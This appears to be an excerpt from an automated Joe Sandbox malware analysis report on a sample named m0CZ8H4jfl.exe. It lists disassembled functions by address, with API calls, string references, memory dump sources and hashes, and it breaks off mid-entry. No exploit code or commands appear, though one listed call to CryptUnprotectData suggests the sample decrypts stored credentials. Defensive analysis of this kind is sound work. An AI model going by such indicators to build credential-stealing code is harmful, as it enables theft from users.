Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,76F93420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-297319885
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\m0CZ8H4jfl.exe,C:\Users\user\Desktop\m0CZ8H4jfl.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\m0CZ8H4jfl.exe,C:\Users\user\Desktop\m0CZ8H4jfl.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-2743851969
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Analysis Process: m0CZ8H4jfl.exePID: 7628, Parent PID: 7280COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.1%
Total number of Nodes:	266
Total number of Limit Nodes:	22

Executed Functions

Function 00154328 Relevance: 3.9, Strings: 3, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0o)p, xrefs: 001543AA
Lj)p, xrefs: 00154518
Lj)p, xrefs: 0015452E

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: 0o)p$Lj)p$Lj)p
API String ID: 0-4075344294
Opcode ID: df2aa864ce1f4b9a7d20eb1a005d3d6a8ff61c1e6fc1c65ad84bc9ad896051ea
Instruction ID: 84951331c0300f8c8d68978bee9ca81e2c63f46c243ebb6b1c046b594190e06e
Opcode Fuzzy Hash: df2aa864ce1f4b9a7d20eb1a005d3d6a8ff61c1e6fc1c65ad84bc9ad896051ea
Instruction Fuzzy Hash: 1791C574E00218CFDB18DFA9D884A9DBBF2BF89305F148069E819AB365DB349D85CF50

Function 37AFD608 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<0r4, xrefs: 37AFDAD0

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: DispatchMessage
String ID: <0r4
API String ID: 2061451462-2205127252
Opcode ID: 0f4cc9ca8728fac0f053aa9f0b20435c6550021e85f4379b14cff07a91d6b2fe
Instruction ID: 535bdbd90398ef1988af69dbbb0505c256243fae05e9e4ea7e7d997b440b9a47
Opcode Fuzzy Hash: 0f4cc9ca8728fac0f053aa9f0b20435c6550021e85f4379b14cff07a91d6b2fe
Instruction Fuzzy Hash: F4F16834A00309DFEB01DFA5CC98B9DBBF1BF88314F158168E815AF265DB76A945CB81

Function 37AFE7C8 Relevance: 2.0, Strings: 1, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p$q, xrefs: 37AFE860

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: p$q
API String ID: 0-1310289903
Opcode ID: e9aee9945e9c7d55a0749c69dc3cd74012793fb22a704eb8191f454d55e29611
Instruction ID: 507419df6f1c5deab2d6d159dfb5d29d86b8272afd8960c95e77b39fb8e60c1e
Opcode Fuzzy Hash: e9aee9945e9c7d55a0749c69dc3cd74012793fb22a704eb8191f454d55e29611
Instruction Fuzzy Hash: C582C474A01228DFDB65DF65D894BA9B7B2FF89301F1081E9D80967360CB31AE82DF50

Function 36ABBDF0 Relevance: 2.0, Strings: 1, Instructions: 758
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p$q, xrefs: 36ABBE7D

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: p$q
API String ID: 0-1310289903
Opcode ID: 371ac15eafa6f6b52ecddb437f6b54f1e3171314b5780c8a8d9d9dba2c71220d
Instruction ID: 5d1ec25f4be4529820dba7877ca6fa1d6053bf34be26fe8da6160c9bd95f3ddc
Opcode Fuzzy Hash: 371ac15eafa6f6b52ecddb437f6b54f1e3171314b5780c8a8d9d9dba2c71220d
Instruction Fuzzy Hash: 1672C374A01218DFDB65DF65D894BA9B7B2FF89301F1081E9D80AA7360CB319E82DF54

Function 3474D1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 3474DA45

Memory Dump Source

Source File: 00000003.00000002.2659854188.0000000034740000.00000040.00000800.00020000.00000000.sdmp, Offset: 34740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_34740000_m0CZ8H4jfl.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 0eb8b4651f2dfda38ca2e38291a518150e810f18efddd70ed1cc34bbde756b73
Instruction ID: 72c94eabc0f3b84c7a416d260c0372fa019143dbbcce52e7c782c0bff1a3139a
Opcode Fuzzy Hash: 0eb8b4651f2dfda38ca2e38291a518150e810f18efddd70ed1cc34bbde756b73
Instruction Fuzzy Hash: CC115972800349DFDB10CF9AC405BEEBBF4EB48320F158419E958A7351C375A954CFA1

Function 34740C1B Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

r4, xrefs: 34740C99

Memory Dump Source

Source File: 00000003.00000002.2659854188.0000000034740000.00000040.00000800.00020000.00000000.sdmp, Offset: 34740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_34740000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: r4
API String ID: 0-1360354054
Opcode ID: 514097bffad3a2d75219a237c9a17f3e97f503bf31a1aadbf575bf21989e3034
Instruction ID: 6549e86329dc0054033fef900cd3ed763b7f4fdb1e2125e47dfd3901d4750b12
Opcode Fuzzy Hash: 514097bffad3a2d75219a237c9a17f3e97f503bf31a1aadbf575bf21989e3034
Instruction Fuzzy Hash: AAA1F474900258CFEB14DFA5C984BEDBBB1FF89304F208269E408AB391DB759985CF54

Function 34740C28 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

r4, xrefs: 34740C99

Memory Dump Source

Source File: 00000003.00000002.2659854188.0000000034740000.00000040.00000800.00020000.00000000.sdmp, Offset: 34740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_34740000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: r4
API String ID: 0-1360354054
Opcode ID: cdb7b484eca66765cb7e4b8300bb6acf0dd6abfa830083ad2b1cc9469db0648e
Instruction ID: 13105863d8e5168690ce3b2d5425090cf4170b4a1f264d31e7eebedfb7e27d34
Opcode Fuzzy Hash: cdb7b484eca66765cb7e4b8300bb6acf0dd6abfa830083ad2b1cc9469db0648e
Instruction Fuzzy Hash: 47A1F270D002088FEB14DFA9C944BADBBB1FF88305F208269E418AB391DB759985CF54

Function 36AB9D10 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^z4, xrefs: 36AB9FF0

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: 0^z4
API String ID: 0-1126777294
Opcode ID: 63fce66ab8c6366574669cfa5599b1e4869fd415c4e4e90d86de86fe31cb707e
Instruction ID: 085aee038bcde44306a6a4f11ee4750e4e25d0f1c1a12dfcf1611f5a087f795d
Opcode Fuzzy Hash: 63fce66ab8c6366574669cfa5599b1e4869fd415c4e4e90d86de86fe31cb707e
Instruction Fuzzy Hash: 6CA191B4E052288FEB58CF6AC944B9DBBF2BF89300F14C1AAD408A7251DB745A85CF51

Function 36ABA360 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^z4, xrefs: 36ABA640

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: 0^z4
API String ID: 0-1126777294
Opcode ID: fa49f112370823f8c3a47aff643c6914d9d7ea2672015bfb7f15db0e1d736967
Instruction ID: 7fe4d2d88fd36db11a39d0e6ec926a724c839a134b5d80bacc5147f588d6335b
Opcode Fuzzy Hash: fa49f112370823f8c3a47aff643c6914d9d7ea2672015bfb7f15db0e1d736967
Instruction Fuzzy Hash: 69A191B4E01228CFEB18CF6AC944B9DBBF2BF89300F14C1AAD508A7255DB745A85CF55

Function 36AB96C8 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^z4, xrefs: 36AB99A4

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: 0^z4
API String ID: 0-1126777294
Opcode ID: 0ed71232052d19c3e7d387d589ee1b2c2304168a7b2bf9678264597d18afd1b2
Instruction ID: e720116569fdf2de70ae36c4b819f69ce92685b93ad79fba6ed5d3d070b374af
Opcode Fuzzy Hash: 0ed71232052d19c3e7d387d589ee1b2c2304168a7b2bf9678264597d18afd1b2
Instruction Fuzzy Hash: BEA172B5E052288FEB58CF6AC944B9DBBF2BF89300F14C1AAD408A7255DB345A85CF51

Function 36ABA9B0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^z4, xrefs: 36ABAC8B

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: 0^z4
API String ID: 0-1126777294
Opcode ID: 727e6c997e6cb2067093bff0dd0f9b45292db96381ab89e4bbf2a7cabac59cd1
Instruction ID: f63707ece9d0d900d9696f0700b5f560e3ffae76875adc4e8d583b2cb6054794
Opcode Fuzzy Hash: 727e6c997e6cb2067093bff0dd0f9b45292db96381ab89e4bbf2a7cabac59cd1
Instruction Fuzzy Hash: 5FA19474E012288FEB68CF6AC944B9DBBF2BF89300F14C1AAD508B7255DB745A85CF51

Function 36ABA9A0 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

0^z4, xrefs: 36ABAC8B

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: 0^z4
API String ID: 0-1126777294
Opcode ID: bad575d65da982d7bc5bc52e7215bd703a5ea74d8c6c21d6a46c79db1365f1af
Instruction ID: 5ee1a2ff1eaa678a7f9bcae3bbb5f6d63a6d98c8d8fc7500cb2408a1ca86d474
Opcode Fuzzy Hash: bad575d65da982d7bc5bc52e7215bd703a5ea74d8c6c21d6a46c79db1365f1af
Instruction Fuzzy Hash: EB81A574E00618CFEB68CF6AC944B99BBF2AF89300F14C1AAD90CB7255DB745A85CF51

Function 36AB96B8 Relevance: 1.4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

Strings

0^z4, xrefs: 36AB99A4

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: 0^z4
API String ID: 0-1126777294
Opcode ID: b7ea3751136dd03484de1d82fc59fcbbcdc70cd66b44a575d18c121a789e1583
Instruction ID: 75bafe98d615a6c3053daddd5ed81c2374f6ebe2caedbff9fcc018d46ca5046e
Opcode Fuzzy Hash: b7ea3751136dd03484de1d82fc59fcbbcdc70cd66b44a575d18c121a789e1583
Instruction Fuzzy Hash: 307183B5E05628CFEB58CF66C944B9EBBF2AF89300F14C1AAD40CA7255DB344A85CF51

Function 00158E0C Relevance: 1.1, Instructions: 1095COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7097297ac0ece6a9b68ae69cb626d6de1fc759913c1cbd28b9cff5a3d068949d
Instruction ID: 726d27f18a6a464d17cd8dac30f592bb2903592615b7c57bd7639a24e32f931c
Opcode Fuzzy Hash: 7097297ac0ece6a9b68ae69cb626d6de1fc759913c1cbd28b9cff5a3d068949d
Instruction Fuzzy Hash: 77A27070604209DFCB15CF68C994AAEBBB2FF88311F158559E815DF261D730ED89CB61

Function 00155978 Relevance: .9, Instructions: 918COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c811cd1ef0fb2b0e568fea8df59fd5914f077c77ff2f69a215f59fcd1ce572
Instruction ID: d2c27b6b59918d1df5e2611f8f6de744f483d219e67e3280c842a05c0497086f
Opcode Fuzzy Hash: 72c811cd1ef0fb2b0e568fea8df59fd5914f077c77ff2f69a215f59fcd1ce572
Instruction Fuzzy Hash: 0A725170A00219DFDB14CFA9C954AAEBBB2FF88311F558159E815EB361DB30DD85CB90

Function 36AB8650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63c13d78c1d46a92000f2733edc421285814d0f42f2adeb59f642afeb66499dd
Instruction ID: ac3eae38c1dcc7cf7256bd5e00b4ab7b191ede17dfc4a24e718647a678c3b500
Opcode Fuzzy Hash: 63c13d78c1d46a92000f2733edc421285814d0f42f2adeb59f642afeb66499dd
Instruction Fuzzy Hash: FC72AD74E012688FEB64DF69C980BDDBBB6BF49301F5481EAD848A7251DB349E81CF50

Function 36ABF136 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 540ee8ee4b8e6b22d828a8f98471a99173658cf74c8e999694ce834b54daa72d
Instruction ID: decfd8fa1fe7638662804f8a2203447852db28d7da007736a18724bd12ce73f8
Opcode Fuzzy Hash: 540ee8ee4b8e6b22d828a8f98471a99173658cf74c8e999694ce834b54daa72d
Instruction Fuzzy Hash: FA1281B0801B458BE721CFA5ED4C2893BB6BB85328F504209D2696FAF1DBF415CADF44

Function 347403AF Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2659854188.0000000034740000.00000040.00000800.00020000.00000000.sdmp, Offset: 34740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_34740000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8885885ebbba2da961523d38c1b7762a752a90214e6832b663f58dcaef3efb7a
Instruction ID: 76a7c3be9dcc4c5a74197634bbb83959992d900be634195cc9aa5daba1006c37
Opcode Fuzzy Hash: 8885885ebbba2da961523d38c1b7762a752a90214e6832b663f58dcaef3efb7a
Instruction Fuzzy Hash: B2D1AF74E00218CFEB54DFA5D994BADBBB2FF89300F1081A9D809AB355DB359A81CF51

Function 36AB6368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475a4dbc054e698deea015a582ecf58f8f7896e43cbbd62586b68eb5a7be4967
Instruction ID: 757fc5f41f418c804adcd7a2222e3825af9f6b600d0c17b1d15d5f7d0276c493
Opcode Fuzzy Hash: 475a4dbc054e698deea015a582ecf58f8f7896e43cbbd62586b68eb5a7be4967
Instruction Fuzzy Hash: 81C1A274E00218CFEB14DFA5D994B9DBBB2BF89300F2091A9D809AB355DB359E85CF50

Function 34740F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2659854188.0000000034740000.00000040.00000800.00020000.00000000.sdmp, Offset: 34740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_34740000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7825cde10048869173f87f76b3059058007aab15d5d0e22fd6d96afe2f82b328
Instruction ID: 479bc4d4a165f35df12078c712030202847ad7de0ac1c165a9f4cd65ae612952
Opcode Fuzzy Hash: 7825cde10048869173f87f76b3059058007aab15d5d0e22fd6d96afe2f82b328
Instruction Fuzzy Hash: F091D174900258CFEB10DFA9C988BECBBB1FF49311F208269E419AB391DB759985CF54

Function 36ABBA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbbad6e31bbaddca13c12d74ab9d8e3b25fb388d6cb302a11c55595c1b6eb9b1
Instruction ID: da35cb3720e0ccd90853a61bc17f99fecf1ec35211b6976f712476b526d64b22
Opcode Fuzzy Hash: cbbad6e31bbaddca13c12d74ab9d8e3b25fb388d6cb302a11c55595c1b6eb9b1
Instruction Fuzzy Hash: D381D374E00248CFEF18DFAAD98069DBBF2BF89311F248129D854BB359DB359942CB54

Function 36AB8640 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daee25d512686261d1445a947d7d1bc1bc6059a97d79e9b15889590397a5392f
Instruction ID: 0368c7df8f355290a4f4c76a2b4211410e94ac957e0c009978c1458403650535
Opcode Fuzzy Hash: daee25d512686261d1445a947d7d1bc1bc6059a97d79e9b15889590397a5392f
Instruction Fuzzy Hash: 2F71A275D01228CFDB64CF6AD9847DDBBB2BF89301F1490AAD808B7260DB349A85CF50

Function 36AB9D00 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52522bae991ddedfb4ca27a0aacbaf10c3080470e887a2f4af412f669ba97a7c
Instruction ID: 0783ffc48bb0f6fd3811f72566e6ef1c65a0adadc65b34ee44455f42667c5dfd
Opcode Fuzzy Hash: 52522bae991ddedfb4ca27a0aacbaf10c3080470e887a2f4af412f669ba97a7c
Instruction Fuzzy Hash: 95417AB1E016188BEB58CF6BC9457CAFBF7AFC9200F04C0AAC50CA6264DB740985CF51

Function 36ABA352 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0385f896f04360656cc4d61230abf260e224bddc25151df25debd626bdc3960
Instruction ID: 357ce53e550f0579c2d5f6ed0876964cae211755d615fd3912ab88f9bdaa75c8
Opcode Fuzzy Hash: f0385f896f04360656cc4d61230abf260e224bddc25151df25debd626bdc3960
Instruction Fuzzy Hash: 624148B5D016188BEB58CF6BCD457CAFAF7AFC9304F04C1AAD50CA6264DB740A858F51

Function 36AB6358 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

